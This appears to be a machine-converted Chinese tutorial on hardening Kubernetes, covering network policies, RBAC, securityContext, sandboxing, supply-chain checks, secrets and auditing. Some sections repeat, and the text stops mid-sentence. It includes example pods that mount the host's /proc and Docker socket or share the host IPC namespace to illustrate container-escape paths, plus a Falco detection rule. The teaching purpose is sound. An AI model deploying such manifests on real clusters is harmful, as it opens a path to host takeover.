  • 出站規則:只允許 API 服務透過 TCP 5432 連線埠(標準 PostgreSQL 連線埠)連線到生產環境中標記為 app: database 的 Pod

這種設定建立了一個嚴格的通訊通道,API 服務只能接收來自前端的請求,並且只能向資料函式庫傳送請求,大大減少了潛在的攻擊面和橫向移動的可能性。

Pod 到節點流量安全控制

Pod 到工作節點的通訊也是一個重要的安全考量點。預設情況下,Pod 無法直接存取節點的敏感部分,但有些設定可能會改變這種限制。

hostNetwork 特權與風險

當 Pod 設定了 hostNetwork: true 時,它將使用節點的網路名稱空間,而非自己的隔離網路空間。這意味著 Pod 可以存取節點上的所有網路介面和服務,包括可能執行在節點上的敏感服務。

apiVersion: v1
kind: Pod
metadata:
  name: node-network-access
spec:
  hostNetwork: true
  containers:
  - name: network-tool
    image: network-toolkit:latest
    securityContext:
      privileged: false

這個 Pod 設定使用 hostNetwork: true,使容器可以直接存取節點的網路名稱空間。雖然容器本身沒有設定為特權容器(privileged: false),但由於使用了主機網路,它仍然可以:

  1. 存取節點上執行的所有網路服務
  2. 監聽節點上的任何連線埠
  3. 檢視所有網路流量
  4. 潛在地繞過網路政策限制

這種設定在某些情況下可能是必要的(例如,網路監控工具或 CNI 外掛),但它顯著增加了安全風險,應該謹慎使用並受到嚴格的 RBAC 控制。

防止節點級別的特權升級

為了防止 Pod 獲得不必要的節點級特權,我們可以使用準入控制器(如 PodSecurityPolicy 或更新的 Pod Security Standards)。以下是一個使用 Pod Security Standards 的範例:

apiVersion: v1
kind: Namespace
metadata:
  name: restricted-ns
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

這個設定在名稱空間級別應用了 Pod Security Standards 的「restricted」設定檔案。透過標籤 pod-security.kubernetes.io/enforce: restricted,Kubernetes 會拒絕建立任何不符合嚴格安全標準的 Pod,包括使用 hostNetworkhostPIDhostIPC 或特權容器的 Pod。

auditwarn 標籤設定了稽核和警告行為,也設定為 restricted 級別。這種設定為整個名稱空間提供了強大的安全保障,防止特權升級和節點級別的存取。

Pod 內部通訊安全

同一 Pod 內的容器分享網路名稱空間,這意味著它們可以透過 localhost 直接通訊。這種設計簡化了相關容器之間的通訊,但也帶來了安全考量。

Pod 內部容器間通訊

Pod 內的容器分享同一個 IP 地址和連線埠空間,它們可以透過 localhost 互相通訊。這種設計對於緊密耦合的容器非常有用,例如主應用容器和輔助容器(如日誌收集器或代理)。

apiVersion: v1
kind: Pod
metadata:
  name: web-app-with-proxy
spec:
  containers:
  - name: web-app
    image: web-app:latest
    ports:
    - containerPort: 8080
  - name: proxy
    image: proxy:latest
    ports:
    - containerPort: 80

在這個 Pod 設定中,有兩個容器:web-appproxy。由於它們在同一個 Pod 中,所以它們分享網路名稱空間。這意味著:

  1. proxy 容器可以透過 localhost:8080 存取 web-app 容器
  2. 外部流量可以透過 proxy 容器(連線埠 80)進入,然後 proxy 將流量轉發到 web-app
  3. 兩個容器可以使用程式間通訊(IPC)機制進行更高效的通訊

這種模式非常適合實作邊車(sidecar)模式,其中輔助容器為主容器提供額外功能,如 TLS 終止、監控或日誌收集。然而,從安全形度來看,一個容器被攻破可能會影響同一 Pod 中的其他容器,因為它們分享網路和 IPC 名稱空間。

hostIPC 特權與安全風險

類別似於 hostNetworkhostIPC 標誌允許 Pod 使用節點的 IPC 名稱空間,這可能導致嚴重的安全風險。

apiVersion: v1
kind: Pod
metadata:
  name: host-ipc-access
spec:
  hostIPC: true
  containers:
  - name: ipc-tool
    image: ipc-toolkit:latest

這個設定中的 hostIPC: true 設定使 Pod 可以存取節點的 IPC 名稱空間。這意味著容器可以:

  1. 存取節點上執行的所有程式的分享記憶體段
  2. 使用節點上的訊號量和訊息佇列
  3. 潛在地與節點上的其他程式進行通訊

這種設定極大地擴充套件了 Pod 的能力,但也顯著增加了安全風險。攻擊者可以利用這種存取來監視或幹擾節點上的其他程式,甚至可能導致節點級別的特權升級。

IP 分配與容器網路理解

理解 Kubernetes 如何分配 IP 地址以及容器網路的工作原理,對於設計安全的網路策略至關重要。

CNI 外掛與 IP 分配

Kubernetes 使用容器網路介面(CNI)外掛來管理 Pod 網路。不同的 CNI 外掛(如 Calico、Flannel、Cilium)有不同的 IP 分配策略和網路功能。

以 Calico 為例,它為每個 Pod 分配一個唯一的 IP 地址,並使用 BGP(邊界閘道器協定)進行路由。這使得 Pod 可以在不同節點之間直接通訊,而無需 NAT。

# 檢視 Pod 的 IP 分配
kubectl get pods -o wide

# 使用 Calico CLI 檢查網路策略
calicoctl get ippool

# 檢查特定 Pod 的網路設定
kubectl exec -it network-tool -- ip addr show

這些命令可以幫助我們瞭解 Kubernetes 叢集中的 IP 分配情況:

  • kubectl get pods -o wide 顯示所有 Pod 及其 IP 地址和所在節點
  • calicoctl get ippool 顯示 Calico 的 IP 池設定,包括可用的 CIDR 範圍
  • 最後一個命令在 Pod 內部執行 ip addr show,顯示容器內的網路介面和 IP 設定

理解這些網路設定對於排查網路問題和設計安全的網路策略非常重要。例如,瞭解 Pod 的 IP 範圍可以幫助我們建立更精確的網路政策。

容器網路模型

Kubernetes 的網路模型根據以下幾個原則:

  1. 每個 Pod 有自己的 IP 地址
  2. Pod 可以與任何其他 Pod 通訊,無需 NAT
  3. 節點上的代理可以與節點上的所有 Pod 通訊

這種模型提供了極大的靈活性,但也需要適當的安全控制來防止未授權的存取。

使用 nsenter 的安全考量

nsenter 是一個強大的工具,允許進入其他程式的名稱空間。在容器環境中,它可以用來突破容器隔離,因此需要特別注意其安全影響。

卷掛載破壞容器隔離

當 Pod 掛載主機路徑(如 /proc/var/run/docker.sock)時,它可能會破壞容器隔離,特別是與 nsenter 等工具結合使用時。

apiVersion: v1
kind: Pod
metadata:
  name: host-mount-risk
spec:
  containers:
  - name: breakout-risk
    image: security-toolkit:latest
    volumeMounts:
    - name: host-proc
      mountPath: /host/proc
    - name: docker-socket
      mountPath: /var/run/docker.sock
  volumes:
  - name: host-proc
    hostPath:
      path: /proc
  - name: docker-socket
    hostPath:
      path: /var/run/docker.sock

這個 Pod 設定包含兩個高風險的卷掛載:

  1. 將主機的 /proc 目錄掛載到容器的 /host/proc
  2. 將 Docker 通訊端 /var/run/docker.sock 掛載到容器中

這些掛載極大地增加了容器逃逸和特權升級的風險:

  • 透過存取主機的 /proc,容器可以取得有關主機上執行的所有程式的訊息
  • 結合 nsenter,容器可以嘗試進入主機的名稱空間
  • 透過存取 Docker 通訊端,容器可以控制 Docker 守護程式,建立新容器或修改現有容器

這種設定應該被嚴格限制,只允許在絕對必要的情況下使用,例如某些監控或除錯工具。在生產環境中,應該透過準入控制器和 RBAC 政策來防止這種設定。

RBAC 範圍與名稱空間資源

Kubernetes 的根據角色的存取控制(RBAC)系統是保護 API 伺服器的關鍵機制。理解 RBAC 如何與名稱空間互動對於建立安全的多租戶環境至關重要。

名稱空間級別的 RBAC

RBAC 資源(如 Role 和 RoleBinding)可以限制在特定名稱空間內,這使得它們成為實作名稱空間隔離的重要工具。

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: tenant-a
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  namespace: tenant-a
  name: read-pods
subjects:
- kind: User
  name: tenant-a-user
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

這個 RBAC 設定建立了一個名為 pod-reader 的 Role,該角色只允許在 tenant-a 名稱空間內執行 Pod 的 getlistwatch 操作。然後,透過 RoleBinding,將這個角色繫結到名為 tenant-a-user 的使用者。

這種設定確保 tenant-a-user 只能檢視 tenant-a 名稱空間中的 Pod,而無法存取其他名稱空間的資源。這是實作名稱空間隔離的重要組成部分,確保租戶只能存取自己的資源。

叢集級別與名稱空間級別資源的區別

Kubernetes 資源分為兩類別:叢集級別資源(如 Node、PersistentVolume)和名稱空間級別資源(如 Pod、Service)。理解這種區別對於設計適當的 RBAC 策略至關重要。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: node-viewer
rules:
- apiGroups: [""]
  resources: ["nodes"]
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: global-node-viewer
subjects:
- kind: Group
  name: system:monitoring
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: node-viewer
  apiGroup: rbac.authorization.k8s.io

這個設定建立了一個名為 node-viewer 的 ClusterRole,允許檢視叢集中的所有節點。然後,透過 ClusterRoleBinding,將這個角色繫結到 system:monitoring 組。

與名稱空間級別的 Role 不同,ClusterRole 控制對叢集範圍資源的存取,這些資源不屬於任何特定的名稱空間。這種區別對於設計全面的安全策略非常重要:

  • 名稱空間級別的 RBAC 用於控制對特定名稱空間內資源的存取
  • 叢集級別的 RBAC 用於控制對叢集範圍資源的存取
  • 在多租戶環境中,租戶通常只應該擁有名稱空間級別的許可權,而叢集級別的許可權應該保留給管理員

資源限制與配額管理

在多租戶環境中,防止資源爭用和拒絕服務攻擊是重要的安全考量。Kubernetes 提供了資源限制和配額機制來管理這些風險。

限制資源分配

資源限制可以在 Pod 和容器級別設定,防止單個工作負載消耗過多資源。

apiVersion: v1
kind: Pod
metadata:
  name: resource-limited-pod
spec:
  containers:
  - name: app
    image: app:latest
    resources:
      requests:
        memory: "128Mi"
        cpu: "100m"
      limits:
        memory: "256Mi"
        cpu: "500m"

這個 Pod 設定設定了明確的資源請求和限制:

  • 請求(Requests):容器啟動時保證獲得的最小資源量

    • 128Mi 的記憶體(約 134 MB)
    • 100m 的 CPU(0.1 核心,即一個核心的 10%)
  • 限制(Limits):容器可以使用的最大資源量

    • 256Mi 的記憶體(約 268 MB)
    • 500m 的 CPU(0.5 核心,即一個核心的 50%)

這些設定確保容器獲得足夠的資源來執行,同時防止它消耗過多資源。如果容器嘗試使用超過限制的記憶體,它將被 OOM(Out of Memory)殺手終止。如果它嘗試使用超過限制的 CPU,它將被限流,但不會被終止。

名稱空間資源配額

ResourceQuota 物件允許在名稱空間級別限制資源使用,這對於多租戶環境尤其重要。

apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-quota
  namespace: tenant-b
spec:
  hard:
    pods: "50"
    requests.cpu: "10"
    requests.memory: 20Gi
    limits.cpu: "20"
    limits.memory: 40Gi
    persistentvolumeclaims: "10"
    services: "20"
    services.loadbalancers: "1"

這個 ResourceQuota 為 tenant-b 名稱空間設定了全面的資源限制:

  • 最多 50 個 Pod
  • CPU 請求總量不超過 10 核心
  • 記憶體請求總量不超過 20Gi
  • CPU 限制總量不超過 20 核心
  • 記憶體限制總量不超過 40Gi
  • 最多 10 個永續性儲存區宣告(PVC)
  • 最多 20 個服務
  • 最多 1 個負載平衡器服務

這種設定防止單一租戶消耗過多的叢集資源,確保資源的公平分配,並防止拒絕服務攻擊。在我設計多租戶環境時,通常會根據租戶的業務需求和重要性來設定不同的配額,確保關鍵業務有足夠的資源,同時防止非關鍵工作負載影響整體系統效能。

使用者命名

Kubernetes安全防護體系:從許可權控制到沙箱隔離

在雲原生時代,Kubernetes已成為容器協調的標準平台,但其複雜的架構也帶來了相應的安全挑戰。經過多年研究與實踐,玄貓發現建立一套全面的Kubernetes安全防護體系需要從多個維度考量,包括許可權控制、容器隔離、資源限制以及供應鏈安全等。本文將探討這些關鍵安全元素,並提供實用的強化策略。

為何需要嚴格的安全防護?

當談到Kubernetes安全時,我們必須思考一個核心問題:最糟糕的情況會是什麼?在容器化環境中,安全邊界被打破可能導致:

  1. 容器逃逸攻擊導致主機系統被入侵
  2. 敏感資訊洩露(如金鑰、憑證)
  3. 橫向移動攻擊導致整個叢集被接管
  4. 供應鏈攻擊透過受感染的映像檔滲透環境

這些風險不是理論上的威脅,而是實際存在的危險。例如,著名的/proc/self/exe CVE允許攻擊者從容器中逃逸並獲得主機系統的控制權。因此,建立多層次的安全防護體系至關重要。

RBAC許可權控制:最小許可權原則的實踐

RBAC基本概念與重要性

根據角色的存取控制(RBAC)是Kubernetes中最基本也最強大的安全機制之一。RBAC允許管理員精確控制誰可以對哪些資源執行哪些操作,實作最小許可權原則。

在Kubernetes中,RBAC由四個關鍵元素組成:

  • Role:定義特定名稱空間中允許的操作
  • ClusterRole:定義叢集級別的許可權
  • RoleBinding:將角色繫結到特定名稱空間的使用者
  • ClusterRoleBinding:將叢集角色繫結到使用者

簡單的RBAC實作範例

以下是一個基本的RBAC設定範例,建立一個僅能讀取特定名稱空間中Pod的角色:

# 建立限制性角色
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: production
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "list", "watch"]
---
# 將角色繫結到服務帳戶
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: read-pods
  namespace: production
subjects:
- kind: ServiceAccount
  name: monitoring-sa
  namespace: production
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

這個YAML設定建立了一個名為pod-reader的Role,僅授予對production名稱空間中Pod資源的讀取許可權(get、list和watch操作)。接著,透過RoleBinding將此角色繫結到monitoring-sa服務帳戶。這確保了該服務帳戶只能讀取Pod資訊,而不能修改、刪除或執行其他操作,體現了最小許可權原則。

RBAC許可權分析與視覺化

隨著叢集規模增長,RBAC設定會變得複雜難以管理。使用工具如rbac-viewrback可以幫助視覺化分析許可權設定:

# 安裝rbac-view
kubectl apply -f https://raw.githubusercontent.com/jasonrichardsmith/rbac-view/master/k8s/rbac.yaml

# 存取視覺化介面
kubectl port-forward svc/rbac-view 8800:8800 -n rbac-view

這些命令安裝並啟動rbac-view工具,它提供了一個網頁介面,視覺化展示叢集中的RBAC關係。透過port-forward將服務暴露到本地8800連線埠,讓管理員能夠直觀地分析許可權設定,識別過度授權或潛在風險點。

常見RBAC相關攻擊模式

在實際環境中,我發現RBAC系統常見的漏洞包括:

  1. 許可權過度授予:特別是使用ClusterRole時,經常授予超出實際需要的許可權
  2. 服務帳戶濫用:攻擊者取得服務帳戶令牌後可執行許可權提升
  3. 角色聚合攻擊:透過多個有限角色的組合達成許可權擴充套件
  4. 預設角色濫用:利用系統預設角色中的許可權執行攻擊

為防範這些風險,我建議定期稽核RBAC設定,確保遵循最小許可權原則,並使用工具自動檢測過度授權情況。

容器安全上下文:強化容器邊界

瞭解securityContext的重要性

Kubernetes的securityContext提供了控制容器許可權和能力的機制,是防止容器逃逸的重要防線。正確設定securityContext可以顯著降低容器被利用的風險。

高效使用securityContext

以下是一個強化的securityContext設定範例:

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    fsGroup: 2000
    runAsNonRoot: true
  containers:
  - name: app
    image: myapp:1.0
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop: ["ALL"]
      readOnlyRootFilesystem: true
      runAsUser: 10001
      runAsGroup: 10001

這個設定實施了多層安全控制:

  • runAsNonRoot: true:確保容器不以root使用者執行,減少許可權提升風險
  • allowPrivilegeEscalation: false:防止程式取得比父程式更高的許可權
  • capabilities: drop: ["ALL"]:移除所有Linux能力,遵循最小許可權原則
  • readOnlyRootFilesystem: true:將根檔案系統設為只讀,防止攻擊者修改系統檔案
  • runAsUser/runAsGroup: 10001:使用高編號非特權使用者執行容器

這些設定共同形成了一個深度防禦系統,即使應用存在漏洞,攻擊者也很難突破這些安全邊界。

使用Kubesec增強securityContext

Kubesec是一個強大的工具,可以自動分析和提升Kubernetes設定的安全性:

# 使用Kubesec分析YAML
curl -sSX POST --data-binary @deployment.yaml https://v2.kubesec.io/scan

# 或使用CLI工具
kubesec scan deployment.yaml

Kubesec會分析YAML設定並提供安全評分,同時給出具體的改進建議。例如,它會檢測是否設定了readOnlyRootFilesystem、非root使用者執行、CPU/記憶體限制等關鍵安全設定,並建議增加缺失的安全控制。這使團隊能夠在佈署前識別和修復安全問題,防止不安全的設定進入生產環境。

沙箱技術:深度容器隔離

沙箱技術概述與比較

標準容器執行時(如runc)提供的隔離不足以應對所有安全場景,特別是執行不受信任的工作負載時。沙箱技術提供了更強的隔離機制,主要有三種實作:

  • gVisor:Google開發的應用核心,在容器和主機核心之間增加一層隔離
  • Kata Containers:使用輕量級虛擬機器為容器提供硬體級隔離
  • Firecracker:AWS開發的微型虛擬機器監視器,專為無伺服器工作負載設計

使用gVisor增強容器隔離

gVisor透過實作自己的Sentry程式攔截系統呼叫,提供比標準容器更強的隔離:

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
---
apiVersion: v1
kind: Pod
metadata:
  name: nginx-gvisor
spec:
  runtimeClassName: gvisor
  containers:
  - name: nginx
    image: nginx

這個設定首先定義了一個使用gVisor的RuntimeClass(handler為runsc),然後建立一個Pod使用這個RuntimeClass。當Pod啟動時,容器執行時會使用gVisor的runsc而非預設的runc來執行容器。gVisor的Sentry程式會攔截容器的系統呼叫,提供一個使用者空間的核心實作,大大減少了容器與主機內核的直接互動,從而降低容器逃逸的風險。

Kata Containers:硬體級隔離

Kata Containers提供了最強的隔離級別,適合多租戶環境:

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata
handler: kata
---
apiVersion: v1
kind: Pod
metadata:
  name: secure-workload
spec:
  runtimeClassName: kata
  containers:
  - name: untrusted-app
    image: untrusted/app:latest

Kata Containers為每個容器建立一個輕量級虛擬機器,提供硬體級隔離。這種方式比gVisor提供更強的安全邊界,特別適合執行不受信任的第三方程式碼。透過定義kata RuntimeClass並在Pod中參照,容器將在輕量級VM中執行,而不是直接在主機上執行,這使得即使容器被完全攻破,攻擊者也無法存取主機系統。

沙箱技術的風險與限制

雖然沙箱技術提供了強大的隔離,但也有其侷限性:

  1. 效能開銷:所有沙箱技術都會引入額外的效能開銷,特別是Kata Containers
  2. 啟動延遲:沙箱容器的啟動時間通常比標準容器長
  3. 資源消耗:沙箱技術需要更多的計算和記憶體資源
  4. 相容性問題:某些應用可能與特定沙箱技術不相容

在選擇沙箱技術時,需要根據安全需求、效能要求和資源限制進行權衡。對於大多數場景,我建議採用分層策略:對不受信任的工作負載使用強隔離的沙箱,對可信工作負載使用標準容器配合強化的securityContext。

資源配額與限制:防止資源耗盡攻擊

資源配額的重要性

在Kubernetes中,未限制資源使用不僅是穩定性問題,也是安全問題。攻擊者可能透過資源耗盡攻擊導致節點當機或服務中斷。

實施資源限制

以下是實施資源限制的最佳實踐:

apiVersion: v1
kind: Pod
metadata:
  name: resource-limited-pod
spec:
  containers:
  - name: app
    image: myapp:1.0
    resources:
      requests:
        memory: "128Mi"
        cpu: "100m"
      limits:
        memory: "256Mi"
        cpu: "500m"

這個設定為容器設定了明確的資源請求和限制。requests指定了容器需要保證獲得的最小資源(128MB記憶體和0.1核CPU),而limits設定了容器能夠使用的最大資源(256MB記憶體和0.5核CPU)。這防止了單個容器消耗過多資源,保護了節點和其他工作負載的穩定性。當容器嘗試使用超過限制的記憶體時,它會被OOM殺手終止,防止影響節點上的其他容器。

名稱空間級別的資源配額

透過ResourceQuota可以在名稱空間級別限制資源使用:

apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-quota
  namespace: team-a
spec:
  hard:
    pods: "10"
    requests.cpu: "4"
    requests.memory: 8Gi
    limits.cpu: "8"
    limits.memory: 16Gi

這個ResourceQuota限制了team-a名稱空間的總資源使用。它限制了最多10個Pod,總CPU請求不超過4核,總記憶體請求不超過8GB,總CPU限制不超過8核,總記憶體限制不超過16GB。這種名稱空間級別的限制確保了多租戶環境中的資源隔離,防止一個團隊的工作負載影響其他團隊。當團隊嘗試佈署超出配額的資源時,API伺服器會拒絕該請求,從而強制實施資源邊界。

網路策略:精細化網路隔離

網路策略的安全意義

預設情況下,Kubernetes中的所有Pod可以相互通訊,這為橫向移動攻擊創造了條件。網路策略允許定義精細的網路隔離規則,限制Pod間的通訊。

實施基本網路隔離

以下是一個基本的網路策略範例:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-specific-ingress
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: web
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: api-gateway
    ports:
    - protocol: TCP
      port: 8080

這個設定包含兩個網路策略:

  1. default-deny:阻止production名稱空間中所有Pod的所有入站和出站流量(空的podSelector比對所有Pod)
  2. allow-specific-ingress:僅允許帶有app: api-gateway標籤的Pod存取帶有app: web標籤的Pod的8080連線埠

這種「預設拒絕,明確允許」的方法實作了最小許可權原則,確保Pod只能與明確授權的其他Pod通訊。這大大降低了攻擊者在突破一個Pod後橫向移動的能力,有效限制了攻擊面。

供應鏈安全:從源頭防護

供應鏈攻擊的威脅

近年來,供應鏈攻擊(如SolarWinds事件)顯示了透過軟體供應鏈滲透的破壞性。在Kubernetes環境中,容器映像是主要的攻擊載體。

軟體物料清單(SBOM)

軟體物料清單(Software Bill of Materials, SBOM)是確保供應鏈安全的重要工具:

# 使用Syft生成SBOM
syft alpine:latest -o json > alpine-sbom.json

# 使用Grype掃描漏洞
grype sbom:./alpine-sbom.json

這些命令使用Syft工具為Alpine容器映像生成SBOM,然後使用Grype對SBOM進行漏洞掃描。SBOM詳細列出了容器映像中包含的所有軟體包及其版本,而Grype則將這些訊息與已知漏洞資料函式庫比對,識別潛在安全風險。這種方法允許團隊在佈署前瞭解容器映像的安全狀況,防止引入已知漏洞。

建立受信任的映像工廠

實施「受信任映像工廠」(Blessed Image Factory)可以標準化和強化容器建構過程:

# OPA策略範例 - 僅允許來自受信任倉函式庫的基礎映像
package kubernetes.admission

deny[msg] {
  input.request.kind.kind == "Pod"
  image := input.request.object.spec.containers[_].image
  not startswith(image, "registry.company.com/")
  msg := sprintf("禁止使用非受信任倉函式庫的映像: %v", [image])
}

這個Open Policy Agent(OPA)策略實施了基礎映像控制。它檢查所有Pod定義,確保容器映像來自公司的受信任倉函式庫(registry.company.com)。如果發現使用了外部映像,准入控制器將拒絕該Pod的建立請求。這確保了只有經過安全審查和強化的映像才能在叢集中執行,大大降低了透過惡意或有漏洞的映像進行攻擊的風險。

映像掃描與簽名驗證

映像掃描和簽名驗證是供應鏈安全的關鍵環節:

# 使用Trivy掃描映像漏洞
trivy image myapp:1.0

# 使用cosign簽名映像
cosign sign --key cosign.key registry.company.com/myapp:1.0

# 在佈署前驗證簽名
cosign verify --key cosign.pub registry.company.com/myapp:1.0

這些命令展示了容器映像安全的兩個關鍵步驟:

  1. 使用Trivy掃描映像中的漏洞,識別需要修復的安全問題
  2. 使用cosign對映像進行加密簽名,然後在佈署前驗證簽名

這種方法確保了映像在構建後沒有被篡改,並且不包含已知漏洞。透過將這些步驟整合到CI/CD流程中,團隊可以自動化供應鏈安全控制,防止惡意程式碼進入生產環境。

敏感訊息保護:金鑰與設定安全

金鑰管理的挑戰

Kubernetes Secrets預設以非加密形式儲存在etcd中,這代表了重大的安全風險。此外,不當使用Secrets也可能導致敏感訊息洩露。

安全使用Secrets

以下是安全使用Secrets的最佳實踐:

apiVersion: v1
kind: Pod
metadata:
  name: secure-secrets-pod
spec:
  containers:
  - name: app
    image: myapp:1.0
    volumeMounts:
    - name: secret-volume
      mountPath: /etc/secrets
      readOnly: true
    # 避免使用環境變數傳遞敏感訊息
    # env:
    # - name: API_KEY
    #   valueFrom:
    #     secretKeyRef:
    #       name: api-keys
    #       key: api-key
  volumes:
  - name: secret-volume
    secret:
      secretName: api-keys

這個設定展示了透過卷掛載使用Secrets的安全方式,而不是使用環境變數。當Secrets作為環境變數傳遞時,它們可能出現在日誌、錯誤訊息或程式列表中,增加洩露風險。而透過卷掛載,Secrets以檔案形式提供給容器,更不容易被意外暴露。此外,透過將卷標記為readOnly: true,防止容器修改敏感訊息,進一步增強了安全性。

加密etcd中的Secrets

保護etcd中儲存的Secrets是關鍵:

# kube-apiserver設定範例
apiVersion: v1
kind: EncryptionConfiguration
metadata:
  name: encryption-config
resources:
  - resources:
    - secrets
    providers:
    - aescbc:
        keys:
        - name: key1
          secret: <base64-encoded-key>
    - identity: {}

這個設定啟用了Kubernetes API伺服器的靜態加密功能,使用AES-CBC演算法加密儲存在etcd中的Secrets。透過這種方式,即使攻擊者獲得了對etcd的存取許可權,也無法讀取加密的Secrets內容。這是保護高敏感訊息(如API金鑰、資料函式庫憑證)的重要一層防禦,特別是在多租戶或受監管的環境中。

使用外部金鑰管理系統

對於生產環境,建議使用外部金鑰管理系統:

# 使用Vault Agent Injector的Pod範例
apiVersion: v1
kind: Pod
metadata:
  name: vault-agent-example
  annotations:
    vault.hashicorp.com/agent-inject: "true"
    vault.hashicorp.com/agent-inject-secret-database-config.txt: "database/creds/db-app"
    vault.hashicorp.com/role: "db-app"
spec:
  serviceAccountName: app-auth
  containers:
  - name: app
    image: app:1.0

這個設定使用HashiCorp Vault作為外部金鑰管理系統,透過Vault Agent Injector將動態生成的資料函式庫憑證注入到Pod中。這種方法有幾個重要優勢:

  1. 憑證可以是短期的,定期自動輪換
  2. 存取控制在Vault中集中管理
  3. 所有憑證操作都有詳細稽核日誌
  4. 敏感訊息從不儲存在Kubernetes的etcd中

這大大降低了憑證洩露的風險和影響範圍,是高安全性環境的推薦做法。

稽核與監控:發現與應對威脅

Kubernetes稽核日誌的價值

稽核日誌是安全監控和事件回應的基礎,記錄了誰在何時對叢集執行了哪些操作。

設定有效的稽核策略

以下是一個平衡全面性和效能的稽核策略:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # 記錄所有中繼資料
  - level: Metadata
    resources:
    - group: ""
      resources: ["pods", "services", "configmaps"]
  
  # 對敏感操作記錄請求和回應
  - level: RequestResponse
    resources:
    - group: ""
      resources: ["secrets"]
    verbs: ["create", "update", "patch", "delete"]
  
  # 對特權操作記錄全部內容
  - level: RequestResponse
    userGroups: ["system:masters"]
    
  # 對其他所有事件記錄基本訊息
  - level: Metadata

這個稽核策略實施了分層的日誌記錄方法:

  • 對普通資源(如Pod、服務)記錄中繼資料級別的事件
  • 對敏感資源(如Secrets)的修改操作記錄完整的請求和回應
  • 對管理員組(system:masters)的所有操作記錄詳細訊息
  • 對所有其他事件記錄基本中繼資料

這種方法在提供全面可見性和控制稽核日誌大小之間取得了平衡,確保捕捉安全相關事件的同時避免產生過多日誌資料。

整合安全監控系統

將Kubernetes稽核日誌與安全訊息和事件管理(SIEM)系統整合:

# 使用Falco檢測異常行為
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --set ebpf.enabled=true

# Falco規則範例 - 檢測特權容器
- rule: Launch Privileged Container
  desc: Detect the start of a privileged container
  condition: container and container.privileged=true
  output: Privileged container started (user=%user.name container=%container.name)
  priority: WARNING
  tags: [container, cis]

這個設定安裝了Falco,一個雲原生執行時安全工具,使用eBPF技術監控容器行為。範例規則檢測特權容器的啟動,這通常是一個安全風險。Falco可以檢測多種可疑行為,如:

  • 在容器中執行shell
  • 修改系統二進位檔案
  • 建立特權程式
  • 意外的網路連線

透過將Falco與SIEM系統整合,安全團隊可以實時監控叢集安全事件,快速發現和應對潛在威脅。

多租戶安全:隔離與共存

軟多租戶與硬多租戶

Kubernetes支援不同級別的多租戶隔離:

  • 軟多租戶:使用名稱空間、RBAC和網路策略實作邏輯隔離
  • 硬多租戶:使用節點池、沙箱技術或完全獨立的叢集實作物理隔離

實施軟多租戶隔離

以下是軟多租戶的基本設定:

# 建立名稱空間
apiVersion: v1
kind: Namespace
metadata:
  name: tenant-a
  labels:
    tenant: tenant-a

# 預設網路策略
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: tenant-a
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

# 資源配額
apiVersion: v1
kind: ResourceQuota
metadata:
  name: tenant-quota
  namespace: tenant-a
spec:
  hard:
    pods: "50"
    requests.cpu: "10"
    requests.memory: 20Gi
    limits.cpu: "20"
    limits.memory: 40Gi

這個設定為tenant-a建立了一個隔離環境:

  1. 專用名稱空間,帶有識別標籤
  2. 預設拒絕所有網路流量的網路策略,實作網路隔離
  3. 資源配額,限制租戶能夠使用的叢集資源

雖然這種方法不提供完全的安全隔離,但對於信任級別較高的租戶來說已經足

Kubernetes 威脅模型:理解與建構

威脅模型的核心概念

威脅模型是安全架構的根本,在 Kubernetes 環境中尤為重要。當我們談論威脅模型時,實際上是在識別、評估和應對潛在安全威脅的系統化方法。在設計 Kubernetes 安全架構時,我發現許多團隊往往直接跳到實施安全控制,而忽略了威脅模型這個關鍵步驟。

威脅模型必須考慮多個維度:

  • 可能的攻擊者型別及其動機
  • 系統中的信任邊界
  • 潛在的攻擊面和漏洞
  • 敏感資源和關鍵資產

在 Kubernetes 環境中,威脅模型特別需要關注 Pod 間通訊、儲存卷安全以及多租戶隔離等方面。這些元素構成了 K8s 環境中獨特的安全挑戰。

建立你的第一個威脅模型

建立威脅模型的第一步是收集關鍵資訊。我建議從以下問題開始:

1. 系統中有哪些關鍵資產需要保護?
2. 哪些元件可能成為攻擊目標?
3. 系統中的信任邊界在哪裡?
4. 誰可能是潛在的攻擊者?

在 Kubernetes 環境中,一個有效的威脅模型應該包含以下元素:

威脅模型基本元素:
  - 系統架構圖與元件關係
  - 資料流向與信任邊界
  - 潛在威脅列表與風險評級
  - 現有安全控制措施
  - 安全假設與限制

